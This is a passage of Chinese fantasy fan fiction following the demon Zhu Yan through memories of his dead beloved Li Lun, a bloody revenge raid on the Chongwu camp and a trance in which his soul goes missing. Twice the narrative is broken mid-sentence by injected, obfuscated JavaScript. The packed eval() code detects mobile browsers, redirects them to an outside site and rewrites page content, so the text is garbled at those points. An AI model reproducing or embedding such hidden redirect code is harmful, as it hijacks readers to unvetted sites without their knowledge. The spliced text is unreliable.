赶在朱厌开口前,净渊先行开口:“朱厌,有些事,记得却不如忘了。” 朱厌听到净渊这句话后,身躯不由一震,正紧盯着手中白玉瓶子的眼睛下意识便抬头望去,眸中泛起一阵疑惑。 朱厌明显感受到净渊的情绪变化。上一秒还一脸欠揍痞样的人,此刻看似依旧眉眼含笑,实则笑不达眼。 “你知道什么?”朱厌握着瓶子的手不由一紧,神色略过一抹紧张。 净渊看出了朱厌的紧张,随即露出一个意味深长的淡笑,“这世间之事,有因便有果...” 说到一半的话语突然停下,“你若强求,那苦果虽也算果,可刻意藏起的真相一旦揭开,那可比神魂俱灭,抽筋剥皮之痛,远痛得深...” 站在底下的朱厌,眼睫轻颤,自嘲一笑:“苦果又如何,至少也是个结果,胜过被蒙在鼓里的一无所知...” 他知道,世间真相,总是残酷的,痛就痛吧,那又如何? “大荒,刚刚发现了被鬼气污染的妖兽。”朱厌此话一出,轮到净渊怔愣住了。 净渊瞬间了然于胸,朱厌这是与他在做等价交换,谢他送药之事。 “他不会知道的。”朱厌那双暗红的眼睛淡淡地望着净渊,面无表情地丢下这句话后就离开了鬼域。 净渊思考了好一会,才明白过来朱厌说的话。 “一个时辰。这药效只有一个时辰。” 身后隔空传来了净渊的声音。朱厌一听,不由紧了紧手中握着的瓶子,便离开了鬼域。 只是,他前脚刚一走,无殇楼大殿的殿座后方便缓缓走出一人,是陌离。 望着远去的身影,陌离语气中多了一抹担忧:“他这是要去找温宗瑜报仇算账,你不知道吗?” 净渊闻言后并没有转过身,而是若有所思地盯着朱厌离去的方向。 他也没有急着回答,而是沉默了好一会才慢悠悠回着:“知道。所以,我才把那药给他。那药会保他一半自我意识,只要不彻底失控,戾气就不会有一丝机会能夺走他的身体。” 陌离不由担忧起来:“他刚醒不久,他体内的妖力...我猜,至多只有三成。凭他如今的身子,对上那有火凤法相的温宗瑜,万一...” 净渊走到他身边,牵起他的手,同他解释着:“不会。你太小看他了,他跟那木头一样,可都是祸害。正如凡人所言,祸害遗千年——” “至于那温宗瑜嘛...”净渊神色一冷,露出一个耐人寻味的表情,“你当真以为,一个蝼蚁人类,即便阴差阳错修出了妖丹,获得了火凤法相,就能将堂堂的大荒妖王轻易杀死吗?” “他不过是一个乱人视线的幌子,一个替人做刀的傀儡而已...” 陌离一听,猛地抬头望向他:“幌子?替人做刀的傀儡?这是何意?” “万物有序,爱恨无常。镜花水月,真假虚妄。左右不过,都只是一场因果轮回而已,”净渊抬手将陌离微乱的发丝理了理,接着说下去,“可是,螳螂捕蝉,黄雀在后。可这逐后的黄雀,究竟是谁?可就有待深究了。” “不烬木,不过是那人放入大荒的诱饵。” 离开鬼域的朱厌,没回大荒,而是独自去了人间。 三万多年过去了,人间也改朝换代了。此时的人间早已不再是当初他记忆里的那个人间了,连都城名字都换了,不再是天都,而是唤为京都。 朱厌在京都的郊外,购置了一处小院,将小院打理得跟槐江谷小院几分相似。站在院内,负手而立的他,手里紧紧攥着净渊给的那瓶药。 朱厌伸出手,一团红色妖力在掌心之中缓缓腾升而起,望着这抹妖力,朱厌的眸中不由略微失神起来。 回想起一个多月前,苏醒过来的那一刻,朱厌当下就察觉到体内的异样。 他的体内,万年修为仍在。只是,他的原生妖力不知因何缘故,竟只剩三成多妖力。 朱厌想过,或许是因为他三魂离体,昏迷沉睡了三万年的缘故,只需耐心等待些时日,他便可恢复到妖力鼎盛时期。可是他等了又等,妖力始终还是仅有三成多,他才真正意识到不对劲。 按照自己在冉遗尘梦迷阵内看到的记忆,若是三万年前,离仑死前便将他剩余一半的槐鬼妖力都给了他,苏醒后的他也不应该体内仅有三成妖力。 那只能说明,在他三魂与意识离体期间,定是发生过一些他不知情的事情。 醒来后的朱厌不停在大荒跟凡间来回走动着,待在人间时间里,他找了温宗瑜无数次,可还是没能找到他。倒是他一手创建起来的崇武营,看似早已销声匿迹,但皇天不负有心人,最终还是让他寻得了一些蛛丝马迹。 “大人,有小妖禀告,在淮水一岸那边看到了温宗瑜,听描述,就是温宗瑜。”茯苓单手扶肩,半跪在地,恭谨禀告着朱厌吩咐她的事情。 直到茯苓说完了,等了很久还是都没有等到朱厌的回复。 “大人,有小妖...”茯苓以为朱厌又失神没有听到,正打算重复禀告,才刚说了几个字就被朱厌的问话打断了。 “茯苓,你说,”朱厌那双红瞳里泛起一股淡淡的忧伤,娓娓问道,“寿命漫长的妖,记忆会被岁月抹平。那作为百年一瞬的凡人,他们也会忘记过去的事情?” 茯苓一听,眸光微动,似有不忍,“大人...” “不管人还是妖...”语顿了好一会,茯苓才又再度开口回应着朱厌,“或许,记忆之所以能被遗忘,可能是因为那本身并非美好的记忆...”茯苓想了又想,“若是忘了,那便忘了吧。” 朱厌不由露出一个淡笑,自我呢喃道:“什么记忆...才算...不美好呢?” 朱厌的眼睛从始至终都只是望着远处,脸色淡然,让人看不出任何情绪:“凡人百年,生死一瞬,七情六欲,嗔痴贪念,爱恨情仇。即便遍体鳞伤,也都甘之如饴。” “妖族寿命漫长,大多天生地养。但也正是因为妖寿过于漫长,妖的一生会遗忘很多东西。总觉得,忘了那便忘了。可是,有些东西,或许本就不应该忘却的。” 茯苓听了这番话后,没有说话,直接陷入沉默。 她本是草木精怪里的桃树妖,在她刚能化出人形,便被那凡间捉妖师给捉到妖卖场去。是离仑,掌管着他们大荒万妖的王,把她从妖卖场的地狱深渊给救回来了。 朱厌跟离仑的过往,她知道的,不算多,但却让她一个观棋者,都为之动容。 她曾经立下血誓,守护王要守护的东西。 如今他们大荒的王早已不在, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16340704|183428||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 可他要守护的人,守护的一切,就算赌上一切,她也会誓死守护。 朱厌背对着吩咐道:“茯苓,你先回大荒。” “大人,你这是要去找温宗瑜吗?您妖力还尚未恢复,还是我陪您去吧,有...” “不用担心,我不会有事的,你先回大荒吧。”朱厌话一说完,整个人就直接在原地消失不见了。 坐落在京都偏僻山间的崇武营衙门,地牢内关押着无数面目狰狞,狂声怒吼的妖化人。 宽敞的地下室内,昏暗的室内,一处说简陋又非简陋的佛堂。 佛堂前正站着一个身穿宽大白袍,手抱玉狸的人,是一个中年男人。 中年男人的脸上戴着一副诡异古怪的人皮面具,语气幽幽:“听说,他醒了?” 一旁站着的青年,长相干瘦,目露隐光。 听到白袍人出声,一脸狗腿走上前,俯身低头:“师父,是的。我们安排在大荒的眼线来报,听说他醒后第一时间便去找了冉遗。” “冉遗,可是天生就懂控梦之术的妖族。看样子,他是强行入梦,寻回了部分记忆,”白袍男人一边说着一边不停抚摸着怀里的玉狸,“如此一来,那算算时间,我们这位老朋友,不出意料,应该很快,就要来找我们叙旧喽——” 说着,这白袍男人忽而伸手,一狠心一用劲,掐上怀中玉狸的脖颈。 玉狸顿时目露凶光,一跃而下,化作一只硕大的妖兽,往白袍男人身前乖巧趴下。接着,白袍男人转身,朝着地牢方向而去,而一旁那位干瘦青年也紧跟其后。 站在地牢前,看着被关押在内,正狂声怒吼的妖化人们,男人狂笑出声:“孩子们!别急,好戏要登场了,到时候让你们玩个够——” 夜幕降临,皎月微露,偏僻山间唯有若隐若现的野兽叫吼声。 坐落在偏僻山林中的崇武营,上空突然回荡着一道悲愤交加的声音。 “温宗瑜——” “别躲了!你给我滚出来——” 半空之中,一道急速飞奔着的暗红残影骤然落地,精准落在崇武营的庭院内。 来人落地的这股冲击力,力量大到活生生将崇武营门院的地上砸出了一个大坑,引得四周一阵尘土飞扬。 是朱厌。 周遭飞扬的尘土消散后,只见大坑上空,朱厌缓缓飞升而起,周身是被红色戾气所包裹着,低声怒吼道:“温宗瑜!滚出来!” 下一秒,崇武营上空,漆黑夜晚顿时变得电闪雷鸣。半空之中,白月染红,黑云飘散,被掩起的血月,隐隐露出。 素日总是喧闹嘈杂的崇武营,今日却静谧得格外诡异。 大妖五官超群,即便此刻朱厌与地面相隔甚远,依旧能目视千里,耳听八方。 朱厌那双妖化后本该猩红的眼睛,此刻却变成了一红一蓝。 那双诡异的异色双眼,不断来回横扫过着整个崇武营,泛着杀气的眼神狙遍营内所有角落。 可是,营内一片空荡荡。别说一个活人,连一道鬼影都没看到。 朱厌缓缓从半空落地,只是脚尖刚踏上地面的那一刻,身后便传来一阵阵悉悉索索的声音。 一瞬间,他的身后涌现出许多面色诡异,非人似人的黑衣人。 其中一名妖化人朝着朱厌怒冲而上,只见他身材高壮,浑身赤红,模样狰狞。 妖化人一张嘴,一阵轰鸣之声脱口而出,如同狮吼功般随之而出,音波声浪竟似有形,散发出层层灵力,周围一时之间飞沙走石,地动山摇。 谁知,戾气附身的朱厌面无惧色,隔空手一伸,当下便掐住了他的喉咙,使其难以发声,语气讥讽:“大荒有兽,其身赤红,声可击山开石...” 朱厌一双异色双瞳好奇上下打量着被自己掐住的妖化人,轻笑出声:“温宗瑜有点本事,竟然能捉到狰兽。想必他是以狰的孩子为挟,才迫得狰屈服的吧。” 朱厌嘴角泛起一个邪笑,指尖伸至唇前,微声一唤:“融——” 接着,那名隔空被他掐住的妖化人顿时犹如冰雪消融般,化成一滩血水,随地洒开。 其他妖化人见状忍不住后退起来,却在听到一声微弱的口哨音后再度目露凶光,个个发狂,争先恐后扑向朱厌。 站在崇武营训妖场的朱厌,意识处于半失控状态,周身被血红戾气紧紧包裹住,异色双瞳内双目赤红,杀意浓浓的脸上,微勾的嘴角是嗜血残暴的笑意。 明明可以用一字诀把所有的妖化人干掉,可朱厌偏不,反而像逗娃一样同他们玩了起来。 妖化的十指,指尖处一滴又一滴的浓稠鲜血,顺着朱厌的利爪,正滑落在地。 朱厌嘴角挂着一个嗜血残暴的笑,缓缓转身望向一地的妖化人,个个开.膛.破.肚,内.脏.流了一地。 玩腻了的朱厌改用一字诀,不费一丝吹灰之力对付着剩余的诸多妖化人。没多久,崇武营地面上躺着一具又一具尸体,一直延到崇武营门口。 “朱厌——” “别再想他了——” 13. 新仇旧恨 “朱厌——” “不如,我来帮你吧——” 处于杀戮状态的朱厌,警惕地环顾着四周,大声咆哮道:“谁在说话!滚出来!” 朱厌体内被封印住的戾气狂笑出声:“滋味如何?这份痛苦,可还喜欢?” “你没这个资格!” 戾气突然疯狂怒吼起来:“整个大荒的妖都有资格思念他,唯独你没有!你不配!他就不该爱你!他应该爱我而不该爱你的——” 朱厌被体内的戾气彻底激怒,破喉大吼:“闭嘴!” 被朱厌训斥的戾气一听,更加暴怒了:“都怪你都怪你!要不是你,离仑不会死的!” 只残留了一半自我意识的朱厌,竭力与体内即将暴走的戾气不断拉锯争夺着意识。 朱厌蹲下身子,双手死死捂着刺痛的脑袋,痛呼出声,眉间骤然浮现出一道浅浅的蓝光。 又是那道暗蓝色的妖印。 “阿厌——” 尸横遍野的崇武营,突然从不知角落处,传来离仑的声音。 蹲在地上的朱厌身子一顿,呆滞目光再度放空起来:“离仑...” “阿厌,听话,回去。” 原本差点被体内戾气抢夺走身体主权的朱厌,意识重新缓缓回神过来,不断重复,喃喃自语着:“是离仑,是我的离仑...” “我的离仑...为什么不见了...离仑呢...” “朱厌...” “我在哪儿?” “你是谁?” “我是谁这不重要。” “朱厌,你睡着了。” “我早就不记得了。” “不记得也好。” “这个梦,你过得很伤情。” “梦醒时分,万物归位,你依旧是大荒的上古大妖,朱厌。” 又是先前的那一道浑厚又陌生的声音,缓缓响在朱厌耳边。 此人说得没错。 他是朱厌,是大荒内数一数二的上古大妖,是要守护大荒,守护诸妖的大妖。 戾气被他再次强压回体内,稍微恢复回一丝理智的朱厌,伸手轻轻一挥,遍地妖化人的尸体飞到一旁,给他让出了一条血路。 踩踏着诸多妖化人流淌汇聚而成的血溪,朱厌来到了地牢。 越往里走,光线渐明,火光普照。 崇武营地牢内一眼望去都是密密麻麻的铁笼,用诸犍的血画出的圆形兽纹咒印,限制了笼内所有妖兽的法力。 空气里传来的腥臭之味直冲他的鼻腔,耳边传来许多人形小妖的哭吟哀嚎。 脑中骤然泛起万针直戳的刺痛,恍惚之间,一些破碎画面在朱厌脑中缓缓展开。 破碎光影之间,他好似看到了一白衣人被绑在木桩之上,不断痛苦挣扎着,嘴中更是哀嚎不断,让他难以呼吸的窒息感迎面而来,缓了足足大半天才缓过劲儿来。 朱厌身为大荒妖后之主,气场强大,笼中小妖们听到动静,感应到他的气息后,纷纷从缩到笼子一角爬到牢笼门前,哀求着朱厌救他们。 朱厌见状,满眼盛怒,双臂一挥,巨大的力量将所有牢笼统统震开。无数小妖从笼里走出,目光怯怯地朝被戾气包裹着的朱厌走去。 “还不快回大荒?茯苓会接你们回去的。” 朱厌此刻的声音沙哑得如同磨地沙砾。他吆声一喝,赶着小妖们赶紧离开。 体内戾气还在与他不断较量着,他正竭力克制着不被其夺走意识,引得他藏在袖中的手正微微颤抖着,生怕下一秒自己就被戾气夺取身躯而大开杀戒。 小妖们都走了,就在朱厌转身准备离开时,一阵微弱的声响传入他耳边。 朱厌眼神一冷,顿时一脸警惕,咻的一声,瞬移到声响处。 最里头的牢笼内关押着一个浑身赤红,衣衫褴褛,披头散发,面容妖艳,满口鲜血的女妖。女妖蜷缩着瑟瑟发抖的身体,状似痛吟却怪异地没有发出一丝声音。 是那个被温宗瑜抓起来的狰兽。 在看到朱厌后,女妖先是愣了一下,接着泪光闪闪,拖着伤痕累累的身体爬到朱厌跟前不停叩头着,嘴里咿咿呀呀说着。 可朱厌却丝毫无法听清她所说之话,细看才发现,女妖的舌头被人拔掉了。激动之下,反而口中鲜血直流,格外骇人。 狰兽声可击山开石,拔掉舌头发不出声,自然无法攻击人。 “止——” 一字诀一出,女妖口中的血暂时被止住了。 “通——”朱厌闭眼,指抵女妖眉心,瞬间他便听清女妖的所言,再度睁眼,满眼怒火,“这里危险。你先回大荒,我来寻。” 朱厌循着气息来到了隐藏在地牢之中的佛堂。 佛堂里的一物一件,所有装饰摆放,都与他在冉遗尘梦迷阵中看到的第八层记忆如出一辙。 想到三万年前在此被不烬木吞噬殆尽的白玖,朱厌眼眶逐渐泛红,面生怒意,身上戾气愈发强盛起来。 “就是在这,不烬木将你跟他的孩子,吞噬殆尽,连魂魄都烧成灰烬,随风而去——”体内被镇压着的戾气说完后,又发出一声刺耳的大笑。 戾气又在想方设法刺激着他失控,从而夺得朱厌的身体主权。 可朱厌没有理会他,只要自己不再被戾气牵绕着思绪,净渊给他的药就能保住他,避免彻底失控。 净渊的药,能短期内助他借体内被封的戾气达到妖力巅峰,只是极损耗身体而已。 朱厌伸指朝前一碰,空中传来一声为微弱的滋啦声,他的指尖顿时被灼裂得一片血肉模糊。可深受戾气噬血的影响,却不由狂笑起来。 距离佛堂几步之遥的跟前,一层透明结界因他的触碰而缓缓显现,结界之中隐约泛着流动的火光。 果然,如同他在尘梦迷阵中第八层记忆所看的一样,这个佛堂,也有结界。 又是这该死的不烬木造出来的结界! “破——” 结界一碎,佛堂神台中央骤然露出一个小笼子,笼子里面关押着一个通身赤红,额上长小角的婴孩。 是狰兽的孩子。 朱厌看到蜷缩成团的婴孩,泛着冷意的目光顿时一柔。缓缓走近的他,轻手轻脚跑出笼子里的婴孩。 手中的狰兽孩子感应到朱厌的气息,正想咿咿呀呀愉悦出声,就被朱厌先行用一字诀止住:“梦——” 朱厌轻笑出声,看着怀里睡过去的粉糯小团子,忍不住伸手一逗,嗓音也柔和了好几分:“小家伙,你一喊,我耳朵待会可就要废了...” 抱着狰兽孩子,朱厌微微侧身,回身冷眼一望,对着这处诡异的佛堂,轻声一唤:“灭——” 紧接着,整座佛堂连同前方的地牢,上头的崇武营主营,都开始地动山摇。下一秒,所有东西如同风沙般随风而散。而抱着孩子的朱厌,也随即消失不见。 回到大荒,朱厌吩咐茯苓将救回的诸妖安顿好后,抱着孩子,前往槐江谷小居。 朱厌赶到时,风生正在给那狰兽女妖治着伤。 狰兽伤得很重,身上皮开肉绽的,除了满是大大小小的针眼之外,伤患处更是都溃烂发黑,细瞧还能看到藏在里头的骨头。 风生是大荒数一数二的神医妙手,经过她医治的大荒妖兽,数之不尽。 温宗瑜为了打造妖化人军队,不惜围捕囚禁大荒妖兽,取髓抽血,挖心剜骨。 朱厌的脸色愈发难看:“温宗瑜...他到底想干什么...” 把手中救来的婴孩放在狰兽身边,他又转身轻问一旁双眉紧皱的风生,“风生婆婆,她如何?” “她伤得很重,但都是些皮外伤,还算好治...”风生语顿,眸光微闪,似有不忍,“主要是她的舌头...狰兽以声为器,拔了她舌头无非等同断了她的求生之道...” 朱厌一听,藏在袖中的手死死攥紧,脸色顿时阴沉了不少。 他是大荒妖后,庇佑大荒之境,又是上古大妖,自然需得帮小妖们报仇。 离仑,白玖,还有那些被温宗瑜用于炼化妖化人而害死的无数大荒妖兽,新仇旧恨叠加在一起,此仇非报不可! “婆婆,狰兽跟她的孩子,还有其他重伤小妖,就交给你了。” 风生点了点,自知自己也无法阻拦劝阻朱厌,欲言又止:“孩子,小心点!” 朱厌又不见踪影地消失了一段时间,没人知道他到底去了哪里。只是待他再度回来时,原本完好无损的他,倒是带了一身伤回到了大荒。 伤好后的朱厌,整日都像丢了三魂没了七魄般,没事就独自坐在大荒奈落川边的石岸边上,双眼无神地眺望着远方。 “朱厌。”一道低沉厚实的声音不知道从何处传来,回荡在大荒半空之中。 朱厌一愣,过了许久才终于开口:“你是谁?” “虚虚实实,真真假假,终是虚妄——” “朱厌,”那道浑厚的声音一顿,徐徐问着,“你想要回到过去吗?” 朱厌闻言,原本出神的脸上不由动容起来,眼神微闪:“回到过去?” “时间逆流,方可岁月回溯。”这道声音顺着他的疑问耐心解释着,又再次质问着他,“朱厌,你当真舍得下他吗?” 朱厌没有说话,只是原本失神的双眼更加失神了。眸光一动,眼眶竟忍不住泛红了几分,倔强的小脸连忙侧了过去,唯恐被人瞧见半分,失了威严。 他的眼前骤然出现一片白雾,白雾之中逐渐出现两道熟悉的身影。 居然是他跟离仑的过往记忆。 白雾之中,大雨倾盆而下,黑发少年丝毫不顾泼天大雨淋湿自己的双肩,固执地将手中撑开的油纸伞悉数倒向一旁的银发少年身上。 是少年离仑。 离仑撑着油纸伞,脸色阴沉,朝着身旁银发少年微微厉声:“阿厌,人间很危险,你不许一个人偷跑来人间。” 银发少年回了离仑一嘴,但朱厌听不清楚年少自己所说之语,他只看到年少的自己嘟囔着小嘴,似有不甘之意。 见状,一旁少年离仑轻叹一声,轻声细语哄着他:“阿厌,我讨厌人间。但你想来,我陪你。” 望着白雾中的记忆,朱厌红着眼,被这道突如其来的诡异声音牵着思绪,声音微颤,脱口而出:“回到过去,我愿意...” 眼前白雾愈发浓郁,一阵颇有节奏的鼓声穿破迷雾,由远及近传入耳朵,惹得朱厌不由一愣。 是鼗鼓的声音。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16340705|183428||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 随后,伴随着少年稚嫩的嗓音,一段交错对话传入了他的耳中。 “这不是我送你的鼗鼓吗?怎么变成法器了?” “嗯。我把它炼成我的命格法器了。” “你就那么喜欢吗?” “嗯。你送的,自然喜欢。” “怎么样?我厉害吧?” “嗯。厉害,我瞧瞧——” “要不,我把你送我的那把油纸伞,也炼成法器好了。” ... 白雾之中的记忆过于美好,以致于朱厌丝毫没察觉到,眼前这团白雾正逐渐变得愈发浓郁,而他的暗红瞳孔也被一缕雪白入侵着,整个人一副丢了三魂七魄的模样,周身也开始若隐若现被诡异的白雾包裹得死死的。 恍惚之间,这团诡异的白雾,逐渐将出神的朱厌,团团围拢了起来。 耳边传来的鼗鼓声,鼓点越来越紧凑,而朱厌的红瞳也被逐渐扩大的雪白侵蚀着。 “阿离,下雨了!” “你怎么买伞了?” 白雾消散,黑雾弥漫,一道高大的人影踏着黑雾,隐隐现身。 在朱厌还未看清来人容貌前,那人反倒是先行开口,“阿厌——” 黑雾微散,人影骤现,是早在三万多年前就死去的离仑。 只见眼前的‘离仑’,嘴角阴笑,目带阴色,沙哑唤着他:“阿厌——” “我在这里。过来——” 朱厌像一个失去自我意识的提线木偶,嘴里喃喃自语着,一边说着一边朝着黑雾中的离仑缓缓走去。 “是离仑...是我的离仑...” “朱厌大人!” 一道突如其来的大喊,吓得朱厌一抖,顿时驻足停下前进步伐,行动迟缓地转头一望。 而赶来的茯苓才发现,此时朱厌那双暗红双瞳,已经快被一片诡异的雪白彻底侵蚀,完全沦为白色。 忽而,朱厌额间的蓝色妖印再度出现,妖印折射出一道刺眼蓝光,接着朱厌便不省人事,整个人晕了过去。 “师父,是这里吗?”为首一个青年转身望向身后摸着白须的老者,语气之中颇有几分愉悦。 老者看着掌中疯狂转动着的罗盘指针,终于确认,不疾不徐开口着:“是这里。进入昆仑之门,走过时光山谷,再往前便是众妖诞生之地——” 老者浑浊双眼骤然发出精光,诡异地拖长尾音接着说:“大荒——” 槐江谷小居,栽满桃树的院子一片粉嫩,满院花香涌动。从天而洒的暖阳穿折过越墙而出的葱郁桃枝,地上铺满打落而下的无数稀碎光影。 吱呀一声,主卧房门被人推开,一道身影轻手轻脚进入屋内。 屋内的榻上,被一层红蓝相交的结界包裹着的朱厌,双眸紧闭,睡相祥和。 自茯苓在奈落川边寻到晕倒的朱厌起至今,他已经无故昏迷了足足一个月,连风生也脉不出任何一丝异常。 脉象平稳,气息无常,只是无端昏迷,沉睡难醒,急得所有人团团转。 嘭地一声,英磊咋咋呼呼骤然出现,大声问道:“茯苓,大妖还没醒吗?” 茯苓对着英磊行礼,恭谨回着:“小山神大人,朱厌大人还没醒。” 目光在触及英磊一旁的人时,眼神骤变,厉声一喝,抽鞭而出:“你怎么也来了?” “欸欸欸,茯苓住手,是我让他来的...”英磊话还没说完,茯苓已经先行出手了。 一旁站着的人闪躲着茯苓的攻击,没几下就反被压制在地。 是冉遗。 “都怪他,要不是他让大人进入尘梦迷阵,大人就不会如此痛苦。” 茯苓将手中的长鞭化作剑刃,雪白的刀刃朝着冉遗脖子上没入了一分,当下他的脖子就见血了。 “你们瞒得了他一时,瞒得了他一世吗?”冉遗讥讽出声,“建木神树的誓契总有一天会再度苏醒,到时候你们想瞒也瞒不住了。那些被他忘记的前尘旧事,终归会回到正轨。” “欸欸欸,茯苓松手,”英磊连忙走上前阻止,“其实冉遗说的对,我们瞒不了他多久的。只要他一醒,早晚都得知。早些知道,说不定朱厌他还能少些痛苦呢,你说对吧?” “哼——”茯苓闻言才缓缓松手,语气毫不客气质问着,“今日来此,你究竟又要干什么?” 望着昏迷不醒的朱厌,英磊一脸担忧,解释着:“是我让他来看看朱厌的。朱厌可是大荒妖后,离仑一死,现在的大荒只能靠他了,还等着他来庇佑呢,他可不能一直昏迷不醒,会出事的。” “风生婆婆的医术可是大荒最好的,连她都诊断不出朱厌怎么了那肯定是哪里出问题了。冉遗有控梦术,让他入梦朱厌,说不定能寻到些蛛丝马迹呢...” “冉遗,”英磊一脸郑重望着他,语气严肃,“交给你了——” 冉遗从脖子上抠下一枚鱼鳞,抛向半空,口中念咒,紧接着,原本黯淡无光的黑色鱼鳞泛起妖异的黑光,直接飞进朱厌心口。 下一秒,只见冉遗脸色骤变,口吐出一大口鲜血。 “冉遗!”一旁的英磊连忙一把扶住冉遗。 冉遗伸手擦掉嘴角的血,语气严肃:“朱厌的三魂意识,不见了。” 14. 百妖山海图 离仑死后,守护昆仑雪山与大荒妖域的槐鬼之力早已不复存在。恰好朱厌苏醒,虽然他妖力始终还未恢复到鼎盛时期,但也足以守护大荒。 可如今,由于朱厌一直昏迷不醒,大荒禁地的封印,也逐渐有了松动开裂之象。 此刻的大荒禁地内,一眼望去,目光所及之处,只剩荒芜与孤凉。 漫天黑雪,万物枯荣,一片断壁残垣之中,曾经新生萌芽的建木神树,也再次恢复回枯萎状态, 站在禁地结界前的白发老者,摸着发白胡须,望着即将进入的大荒禁地,语重心长:“终于...找到了...”说完,便朝一旁一名较为年轻的弟子耳边低声了几句。 接着,便看到那名青年转身掏包,从随身包里取出一大叠符箓,让在场所有弟子都贴上。 白发老者双手结印,口中念咒,结界顿时破开一个小口。 在老者的带领下,身后熙熙攘攘的诸多弟子,跟在他身后,浩浩荡荡地闯入了大荒禁地。 头很重,胸口很闷,好似有一块巨石压着胸口,让人难以喘息。 朱厌只觉得他疼得发慌,又好似有一双隐形的手,在不断推着他漫无目的地走下去。 朱厌感觉自己好像走了很远很长的一段路,突然耳边传来冉遗的声音,冉遗语气格外沉重地问他—— “朱厌,只当大梦一场,这样不好吗?” 朱厌想要回答他的问题,可是微张的嘴里半天都吐不出一个字。 “娘亲——” 一道稚嫩的孩童声音夹杂了银铃般的笑声,很大声地唤着他。 朱厌一愣,脱口而出:“小白兔。” 可是下一秒,空无一物的眼前,突然出现两张白玖的脸。 明明是一模一样的脸,身上的气质却截然不同。 若非得比较,其中一个白玖就像是一轮温暖喜人的璨阳,那么另外一个白玖则像是一弯清冷如霜的寒月。 朱厌忍不住朝着他们伸手,可手才伸到一半,两个白玖就同时一起消失不见。转而,缓缓前来到他跟前的是一个熟悉的身影。 那人蹲下他高大的身子,伸手将他凌乱的发丝捋到耳后,笑着开口:“阿厌,我愿赌服输——” 是离仑,是他的离仑。 “离仑!” 朱厌跌撞着跑向眼前逐渐远去的人,他没抓住远去的离仑,却反而闯入了一个陌生的地方。 是水族一脉寄居的领地,镜湖。 夜色如漆,蝉鸣悠悠。 湖心岛小屋内,站着两个人,一豆暖光打照在站立的两道身影上。 此刻,两人正在对着话,是冉遗跟自己。 看着如此诡异的一幕,朱厌瞳孔微震,他呆呆地望着与冉遗对话的自己。 他瞧见站在湖心岛小屋跟前的‘自己’,一脸淡笑着同那小鱼妖打招呼:“冉遗。” 当冉遗再次看到‘朱厌’再来找他的时候,他内心是诧异之余更多的是不解。 他不知道今日‘朱厌’前来所为何事,但猜想着,应该是同离仑有关。 思索半天后,他还是再度劝说着:“朱厌,我早就跟你说过了。他永远不会醒来了。” 谁知此话一出,站在他面前的‘朱厌’,反而淡淡一笑,只是习惯性地绕指把.玩着自己的长发,站在原地,一声不吭。 冉遗继续劝着他:“我带你回大荒。我们一起走,回大荒。” ‘朱厌’听到这番话后,不由一笑,开口拒绝:“那种机会,不要也罢。” 冉遗一脸担忧,语重心长劝说着‘朱厌’,希望可以改变他的主意。 “可控梦之术,毕竟是妖法。你在梦境里的时间越长就会越虚弱。那些梦,都会害了你。”① ‘朱厌’自然深知沉溺控梦之术的危害,却语气格外淡漠:“我是妖。受伤就能立刻愈合。” ‘朱厌’一脸无所谓的神情,指尖继续玩绕着自己的发尾,不疾不徐接着说:“我...连命都可以不要。我这一身妖力,散就散了吧。” 看到‘自己’一脸淡然,一副无所谓的模样,朱厌倒是没有意外。 可对面的冉遗看了,忍不住咬牙切齿怒吼着,希望能够骂醒他:“朱厌,我看你真是疯了!你到底明不明白,再这样下去,你会死的!” 看到‘朱厌’毫无改变之意,声线由厉转柔,一脸无奈:“朱厌,只当大梦一场,这样不好吗?” “可是,冉遗,”‘朱厌’漫不经心的脸上突然变得格外严肃,语气认真,“我爱他。” ‘朱厌’最后一句话,简短的三个字,让站在他对面的冉遗瞳孔大颤,震惊得他久久无法回神。 站在不远处的朱厌就像是个事不关己的旁观者,从头到尾听完了‘自己’与冉遗的对话。 当他真正听到从自己口中说出的剖白之词,眸色也随之暗沉了几分。 他想,他应该是爱离仑的吧。 可如果爱,为何忘? 倘若相爱,何来恨? 这中间的兜兜转转,到底又是发生了什么不为他所知悉的事情? 他何时有再来找冉遗索要控梦之术? 为何他没有这段记忆呢? 此时的大荒禁地里,老者从怀里掏出一节槐木枯根跟一个小白瓶。伸手拔掉的瞬间,一阵微弱的水流涌动声从中传来。下一秒,像似有了自我意识般,从瓶子里头涌动而出。 是新鲜的血液。 “师傅,这是何物之血?”一旁站着的年轻弟子嗅了嗅空气中漂浮着的血腥气,一脸不解问着。 “这可是那大荒妖后,朱厌的心头血。”老者接着厉声一喝,“别废话了!准备起阵!” 一语落下,在场诸多弟子个个顿时面露严峻,开始排兵布阵,施咒起法。 不消片刻,一个巨大的金色阵法凭空绘制完成,法阵威力颇大,足以诛灭上古大妖。 老者对着从瓶子里头涌动而出的朱厌心头血,用力一挥,血当下便注入漂浮在空的槐木枯根。 下一秒,槐木枯根发出了诡异的红光,接着源源不断吸食着大荒禁地里枯死的生灵气息。 正在努力回想着‘自己’何时又见过冉遗的朱厌,胸口骤然一疼,跪倒在地。 胸腔内原本跳动不止的心脏,好似诡异得停止了跳动。 与此同时,槐江谷小居内,离仑书房里一幅悬挂在墙上,沉寂了足足数万年之久的《百妖山海图》,感应到从大荒禁地里传来的朱厌心头血的气息后,发出刺眼的异光,随着而来的是声声不断的鼗鼓声—— 鼗鼓声越来越响亮,而朱厌游荡在外的三魂意识突然像是被人用利刃千刀万剐着,疼得他脸色煞白。 